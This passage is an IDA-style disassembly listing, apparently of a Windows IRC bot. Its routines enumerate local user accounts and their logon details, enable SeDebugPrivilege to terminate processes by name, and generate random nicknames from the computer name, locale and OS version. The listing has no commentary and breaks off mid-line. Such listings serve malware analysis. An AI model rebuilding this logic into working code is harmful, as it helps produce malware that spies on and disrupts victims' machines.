sub_413627+FCj mov eax, offset aGuest ; "Guest" loc_413745: ; CODE XREF: sub_413627+109j ; sub_413627+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4154E7 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_412D4C add esp, 20h pop edi pop ebx jmp short loc_4139E0 ; --------------------------------------------------------------------------- loc_4139B4: ; CODE XREF: sub_413627+35j push eax lea eax, [ebp+var_204] push offset dword_436EB8 push eax call sub_4154E7 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_412D4C add esp, 20h loc_4139E0: ; CODE XREF: sub_413627+38Bj cmp [ebp+var_4], 0 jz short loc_4139EF push [ebp+var_4] call dword_43A428 loc_4139EF: ; CODE XREF: sub_413627+40j ; sub_413627+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_413627 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139F5 proc near ; CODE XREF: sub_40CE55+20BCp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_41335C push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 18h loc_413A34: ; CODE XREF: sub_4139F5+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43A300 cmp eax, esi mov [ebp+var_C], eax jz short loc_413A95 cmp eax, 0EAh jz short loc_413A95 push eax push eax call sub_413B75 pop ecx push eax lea eax, [ebp+var_218] push offset dword_4370C0 push eax call sub_4154E7 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 24h jmp short loc_413B10 ; --------------------------------------------------------------------------- loc_413A95: ; CODE XREF: sub_4139F5+62j ; sub_4139F5+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_413B23 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_413B10 loc_413AA7: ; CODE XREF: sub_4139F5+EDj cmp edi, esi jz short loc_413AE6 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_5 ; " %S" push eax call sub_4154E7 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_413AA7 jmp short loc_413B10 ; --------------------------------------------------------------------------- loc_413AE6: ; CODE XREF: sub_4139F5+B4j lea eax, [ebp+var_218] push offset dword_437078 push eax call sub_4154E7 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 1Ch loc_413B10: ; CODE XREF: sub_4139F5+9Ej ; sub_4139F5+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_413B23 push edi call dword_43A428 xor edi, edi mov [ebp+var_4], edi loc_413B23: ; CODE XREF: sub_4139F5+A5j ; sub_4139F5+120j cmp [ebp+var_C], 0EAh jz loc_413A34 cmp edi, esi jz short loc_413B3B push edi call dword_43A428 loc_413B3B: ; CODE XREF: sub_4139F5+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4154E7 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4139F5 endp ; =============== S U B R O U T I N E ======================================= sub_413B75 proc near ; CODE XREF: sub_4131CB+41p ; sub_4133C0+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_413C27 jz loc_413C20 cmp eax, 7Bh ja short loc_413BEC jz short loc_413BE2 cmp eax, 5 jz short loc_413BD8 cmp eax, 8 jz short loc_413BCE cmp eax, 32h jz short loc_413BC4 cmp eax, 35h jz short loc_413BBA cmp eax, 57h jnz loc_413C76 push offset aInvalidParamet ; "Invalid parameter." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BBA: ; CODE XREF: sub_413B75+30j push offset aServerNameNotF ; "Server name not found." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BC4: ; CODE XREF: sub_413B75+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BCE: ; CODE XREF: sub_413B75+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BD8: ; CODE XREF: sub_413B75+21j push offset aAccessDenied_ ; "Access denied." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BE2: ; CODE XREF: sub_413B75+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413BEC: ; CODE XREF: sub_413B75+1Aj sub eax, 7Ch jz short loc_413C19 sub eax, 7C8h jz short loc_413C12 dec eax jz short loc_413C08 dec eax jnz short loc_413C76 push offset aDuplicateShare ; "Duplicate share name." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413C08: ; CODE XREF: sub_413B75+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_413C97 ; --------------------------------------------------------------------------- loc_413C12: ; CODE XREF: sub_413B75+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C19: ; CODE XREF: sub_413B75+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C20: ; CODE XREF: sub_413B75+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C27: ; CODE XREF: sub_413B75+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_413C60 jz short loc_413C59 sub eax, 8ADh jz short loc_413C8B dec eax dec eax jz short loc_413C52 dec eax jz short loc_413C4B dec eax dec eax jnz short loc_413C76 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C4B: ; CODE XREF: sub_413B75+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C52: ; CODE XREF: sub_413B75+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C59: ; CODE XREF: sub_413B75+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C60: ; CODE XREF: sub_413B75+B9j sub eax, 8CAh jz short loc_413C92 sub eax, 17h jz short loc_413C8B sub eax, 25h jz short loc_413C84 sub eax, 29h jz short loc_413C7D loc_413C76: ; CODE XREF: sub_413B75+35j ; sub_413B75+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C7D: ; CODE XREF: sub_413B75+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C84: ; CODE XREF: sub_413B75+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C8B: ; CODE XREF: sub_413B75+C2j ; sub_413B75+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_413C97 ; --------------------------------------------------------------------------- loc_413C92: ; CODE XREF: sub_413B75+F0j push offset aNetworkConnect ; "Network connection not found." loc_413C97: ; CODE XREF: sub_413B75+40j ; sub_413B75+4Aj ... push offset dword_468C00 call sub_4154E7 pop ecx mov eax, offset dword_468C00 pop ecx retn sub_413B75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CA9 proc near ; CODE XREF: sub_40CE55+20FBp var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_4179F9 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_42113C ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_4179F9 lea eax, [ebp+var_718] push eax call sub_4179DC add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_43A3A8 test eax, eax jnz short loc_413D39 mov esi, offset dword_4689FC push offset dword_437418 push esi call sub_4154E7 pop ecx pop ecx jmp short loc_413D62 ; --------------------------------------------------------------------------- loc_413D39: ; CODE XREF: sub_413CA9+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_413B75 pop ecx mov esi, offset dword_4689FC push eax push offset dword_4373DC push esi call sub_4154E7 add esp, 14h loc_413D62: ; CODE XREF: sub_413CA9+8Ej mov eax, esi pop esi leave retn sub_413CA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413D67 proc near ; CODE XREF: sub_409DF3+7p ; sub_413DD2+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_421104 ; GetCurrentProcess push eax call dword_43A37C ; OpenProcessToken test eax, eax jnz short loc_413D86 leave retn ; --------------------------------------------------------------------------- loc_413D86: ; CODE XREF: sub_413D67+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43A354 ; LookupPrivilegeValueA test eax, eax jz short loc_413DC4 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_413DAD or [ebp+var_8], 2 jmp short loc_413DB1 ; --------------------------------------------------------------------------- loc_413DAD: ; CODE XREF: sub_413D67+3Ej and [ebp+var_8], 0FFFFFFFDh loc_413DB1: ; CODE XREF: sub_413D67+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43A404 ; AdjustTokenPrivileges mov esi, eax loc_413DC4: ; CODE XREF: sub_413D67+32j push [ebp+var_4] call dword_42106C ; CloseHandle mov eax, esi pop esi leave retn sub_413D67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413DD2 proc near ; CODE XREF: sub_40CE55+47D9p ; sub_413F83+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43A3B8, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_413F7C cmp dword_43A39C, ebx jz loc_413F7C cmp dword_43A2B8, ebx jz loc_413F7C push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413D67 pop ecx pop ecx push ebx push 0Fh call dword_43A3B8 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_413F6F lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43A39C ; Process32First mov esi, dword_42106C test eax, eax jz loc_413F6A loc_413E75: ; CODE XREF: sub_413DD2+BEj ; sub_413DD2+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43A2B8 ; Process32Next test eax, eax jz loc_413F6A cmp [ebp+arg_10], ebx jnz short loc_413E75 cmp [ebp+arg_C], ebx jnz loc_413F22 cmp [ebp+arg_4], ebx jz short loc_413E75 push [ebp+var_124] push 8 call dword_43A3B8 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_413EDF lea eax, [ebp+var_350] push eax push edi call dword_43A264 ; Module32First push [ebp+var_124] test eax, eax jz short loc_413EE5 lea eax, [ebp+var_230] jmp short loc_413EEB ; --------------------------------------------------------------------------- loc_413EDF: ; CODE XREF: sub_413DD2+EBj push [ebp+var_124] loc_413EE5: ; CODE XREF: sub_413DD2+103j lea eax, [ebp+var_108] loc_413EEB: ; CODE XREF: sub_413DD2+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4154E7 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h push edi call esi ; CloseHandle jmp loc_413E75 ; --------------------------------------------------------------------------- loc_413F22: ; CODE XREF: sub_413DD2+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_415910 pop ecx test eax, eax pop ecx jnz loc_413E75 push [ebp+var_124] push ebx push 1F0FFFh call dword_42111C ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; CloseHandle push ebx push edi call dword_421140 ; TerminateProcess test eax, eax jnz short loc_413F65 push edi call esi ; CloseHandle jmp short loc_413F7C ; --------------------------------------------------------------------------- loc_413F65: ; CODE XREF: sub_413DD2+18Cj push 1 pop eax jmp short loc_413F7E ; --------------------------------------------------------------------------- loc_413F6A: ; CODE XREF: sub_413DD2+9Dj ; sub_413DD2+B5j push [ebp+var_4] call esi ; CloseHandle loc_413F6F: ; CODE XREF: sub_413DD2+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_413D67 pop ecx pop ecx loc_413F7C: ; CODE XREF: sub_413DD2+3Aj ; sub_413DD2+46j ... xor eax, eax loc_413F7E: ; CODE XREF: sub_413DD2+196j pop edi pop esi pop ebx leave retn sub_413DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F83 proc near ; DATA XREF: sub_40CE55+538Do var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_4374E8 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4154E7 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_413FE2 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_412D4C add esp, 14h loc_413FE2: ; CODE XREF: sub_413F83+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_413DD2 add esp, 18h test eax, eax jnz short loc_41400A push offset dword_4374AC jmp short loc_41400F ; --------------------------------------------------------------------------- loc_41400A: ; CODE XREF: sub_413F83+7Ej push offset dword_437474 loc_41400F: ; CODE XREF: sub_413F83+85j lea eax, [ebp+var_298] push eax call sub_4154E7 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_414042 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_412D4C add esp, 14h loc_414042: ; CODE XREF: sub_413F83+9Dj lea eax, [ebp+var_298] push eax call sub_40B16D push [ebp+var_14] call sub_4152AF pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi sub_413F83 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414061 proc near ; CODE XREF: sub_40CE55+477Bp ; sub_4150CE+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call dword_42111C ; OpenProcess mov esi, eax test esi, esi jz short loc_414093 push 0 push esi call dword_421140 ; TerminateProcess test eax, eax jnz short loc_414093 push esi xor edi, edi call dword_42106C ; CloseHandle loc_414093: ; CODE XREF: sub_414061+1Aj ; sub_414061+27j mov eax, edi pop edi pop esi retn sub_414061 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414098 proc near ; CODE XREF: sub_4036D4+Ap ; sub_403C8B+16p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_415543 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_421668 call sub_415F8C sub esi, eax mov eax, esi pop esi leave retn sub_414098 endp ; =============== S U B R O U T I N E ======================================= sub_4140C8 proc near ; CODE XREF: sub_414433+49p ; DATA XREF: .nsp0:off_437530o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call dword_42104C ; GetTickCount push eax call sub_415539 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset dword_42C228 push offset aS_1 ; "%s" push 1Ch push edi call sub_415A6A xor esi, esi add esp, 10h cmp dword_42C1A0, esi jle short loc_414121 loc_4140FB: ; CODE XREF: sub_4140C8+57j call sub_415543 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_437584 push 1Ch push edi call sub_415A6A add esp, 14h inc esi cmp esi, dword_42C1A0 jl short loc_4140FB loc_414121: ; CODE XREF: sub_4140C8+31j mov eax, edi pop edi pop esi retn sub_4140C8 endp ; =============== S U B R O U T I N E ======================================= sub_414126 proc near ; CODE XREF: sub_40CE55+3D4Ep arg_0 = dword ptr 4 push ebx push esi push edi call dword_42104C ; GetTickCount push eax call sub_415539 pop ecx call sub_415543 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42C1A0 test esi, esi jle short loc_414169 loc_414153: ; CODE XREF: sub_414126+41j call sub_415543 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_414153 loc_414169: ; CODE XREF: sub_414126+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_414126 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call dword_42104C ; GetTickCount push eax call sub_415539 pop ecx lea eax, [ebp-8] mov esi, offset byte_43758C push eax push esi call dword_42113C ; GetComputerNameA movsx eax, byte_43758C push 41h pop ecx push 1 pop edx loc_4141AF: ; CODE XREF: .nsp0:004141BAj cmp eax, ecx jnz short loc_4141B6 mov [ebp-4], edx loc_4141B6: ; CODE XREF: .nsp0:004141B1j inc ecx cmp ecx, 5Bh jl short loc_4141AF push 61h pop ecx loc_4141BF: ; CODE XREF: .nsp0:004141CAj cmp eax, ecx jnz short loc_4141C6 mov [ebp-4], edx loc_4141C6: ; CODE XREF: .nsp0:004141C1j inc ecx cmp ecx, 7Bh jl short loc_4141BF mov edi, [ebp+8] push esi push 1Ch push edi call sub_415A6A xor esi, esi add esp, 0Ch cmp dword_42C1A0, esi jle short loc_41420B loc_4141E5: ; CODE XREF: .nsp0:00414209j call sub_415543 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_437584 push 1Ch push edi call sub_415A6A add esp, 14h inc esi cmp esi, dword_42C1A0 jl short loc_4141E5 loc_41420B: ; CODE XREF: .nsp0:004141E3j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call dword_42104C ; GetTickCount push eax call sub_415539 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call dword_421144 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_437590 push 1Ch push edi call sub_415A6A xor esi, esi add esp, 10h cmp dword_42C1A0, esi jle short loc_414280 loc_41425A: ; CODE XREF: .nsp0:0041427Ej call sub_415543 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_437584 push 1Ch push edi call sub_415A6A add esp, 14h inc esi cmp esi, dword_42C1A0 jl short loc_41425A loc_414280: ; CODE XREF: .nsp0:00414258j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_438FBC mov dword ptr [ebp-94h], 94h call dword_42110C ; GetVersionExA call dword_42104C ; GetTickCount push eax call sub_415539 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_41430A cmp dword ptr [ebp-8Ch], 0 jnz short loc_4142EA cmp dword ptr [ebp-84h], 1 jnz short loc_4142DA mov esi, offset a95 ; "95" loc_4142DA: ; CODE XREF: .nsp0:004142D3j cmp dword ptr [ebp-84h], 2 jnz short loc_414346 mov esi, offset aNt ; "NT" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_4142EA: ; CODE XREF: .nsp0:004142CAj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_4142FA mov esi, offset a98 ; "98" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_4142FA: ; CODE XREF: .nsp0:004142F1j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_414341 mov esi, offset aMe ; "ME" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_41430A: ; CODE XREF: .nsp0:004142C1j cmp dword ptr [ebp-90h], 5 jnz short loc_414341 cmp dword ptr [ebp-8Ch], 0 jnz short loc_414323 mov esi, offset a2k ; "2K" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_414323: ; CODE XREF: .nsp0:0041431Aj cmp dword ptr [ebp-8Ch], 1 jnz short loc_414333 mov esi, offset aXp ; "XP" jmp short loc_414346 ; --------------------------------------------------------------------------- loc_414333: ; CODE XREF: .nsp0:0041432Aj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_43759C jz short loc_414346 loc_414341: ; CODE XREF: .nsp0:00414301j ; .nsp0:00414311j mov esi, offset dword_42B7D0 loc_414346: ; CODE XREF: .nsp0:004142E1j ; .nsp0:004142E8j ... mov edi, [ebp+8] push esi push offset dword_437594 push 1Ch push edi call sub_415A6A xor esi, esi add esp, 10h cmp dword_42C1A0, esi jle short loc_41438A loc_414364: ; CODE XREF: .nsp0:00414388j call sub_415543 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_437584 push 1Ch push edi call sub_415A6A add esp, 14h inc esi cmp esi, dword_42C1A0 jl short loc_414364 loc_41438A: ; CODE XREF: .nsp0:00414362j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414390 proc near ; CODE XREF: sub_414433+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call dword_42104C ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_4143DF call dword_43A3A4 ; FindWindowA test eax, eax mov eax, offset dword_4375A8 jnz short loc_4143C8 mov eax, offset byte_438FBC loc_4143C8: ; CODE XREF: sub_414390+31j push eax push esi push offset dword_4375A0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_415A6A add esp, 14h jmp short loc_4143FF ; --------------------------------------------------------------------------- loc_4143DF: ; CODE XREF: sub_414390+22j call dword_43A3A4 ; FindWindowA test eax, eax mov eax, offset dword_4375A8 jnz short loc_4143F3 mov eax, offset byte_438FBC loc_4143F3: ; CODE XREF: sub_414390+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4154E7 pop ecx pop ecx loc_4143FF: ; CODE XREF: sub_414390+4Dj lea eax, [ebp+var_1C] push eax call sub_415CF0 pop ecx cmp eax, 2 pop esi jbe short loc_41442E push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_416F10 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_416D40 add esp, 18h loc_41442E: ; CODE XREF: sub_414390+7Dj mov eax, [ebp+arg_0] leave retn sub_414390 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414433 proc near ; CODE XREF: sub_40CB75+7Fp ; sub_40CCDD+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_43752C loc_41443F: ; CODE XREF: sub_414433+3Fj cmp [ebp+arg_C], 0 jz short loc_41445A lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_415910 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_414464 ; --------------------------------------------------------------------------- loc_41445A: ; CODE XREF: sub_414433+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_414464: ; CODE XREF: sub_414433+25j test eax, eax jnz short loc_414476 add esi, 14h inc edi cmp esi, offset dword_437590 jl short loc_41443F jmp short loc_414484 ; --------------------------------------------------------------------------- loc_414476: ; CODE XREF: sub_414433+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_437530[eax*4] pop ecx loc_414484: ; CODE XREF: sub_414433+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_414497 push [ebp+arg_0] call sub_414390 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_414497: ; CODE XREF: 